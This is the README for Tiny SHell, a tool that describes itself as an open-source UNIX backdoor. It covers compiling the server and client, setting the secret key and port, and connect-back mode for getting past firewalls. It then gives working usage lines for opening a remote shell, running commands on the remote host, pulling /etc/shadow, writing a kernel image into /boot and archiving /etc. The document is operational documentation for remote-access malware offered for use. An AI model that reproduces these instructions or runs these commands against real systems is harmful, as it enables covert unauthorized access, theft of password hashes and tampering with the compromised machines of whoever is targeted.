                 Tiny SHell - An open-source UNIX backdoor

    * Before compiling Tiny SHell

        1. First of all, you should setup your secret key, which

           is located in tsh.h; the key can be of any length (use

           at least 12 characters for better security).

        2. It is advised to change SERVER_PORT, the port on which

           the server will be listening for incoming connections.

        3. You may want to start tshd in "connect-back" mode if

           it runs on on a firewalled box; simply uncomment and

           modify CONNECT_BACK_HOST in tsh.h.

    * Compiling Tiny SHell

        Run "make ", where  can be any one of these:

        linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

    * How to use the server

        It can be useful to set $HOME and the file creation mask

        before starting the server:

            % umask 077; HOME=/var/tmp ./tshd

    * How to use the client

        Make sure tshd is running on the remote host. You can:

        - start a shell:

            ./tsh 

        - execute a command:

            ./tsh  "uname -a"

        - transfer files:

            ./tsh  get /etc/shadow .

            ./tsh  put vmlinuz /boot

        Note: if the server runs in connect-back mode, replace

        the remote machine hostname with "cb".

    * About multiple file transfers

        At the moment, Tiny SHell does not support scp-like multiple

        and/or recursive file transfers. You can work around this bug

        by simply making a tar archive and transferring it. Example:

        ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -

    * About terminal modes

        On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C

        and other control keys do not work correctly. Fix it with:

            % stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"

    * About security

        Please remember that the secret key is stored in clear inside

        both tsh and tshd executables; therefore you should make sure

        that no one except you has read access to these two files.

        However, you may choose not to store the real (valid) key in

        the client, which will then ask for a password when it starts.
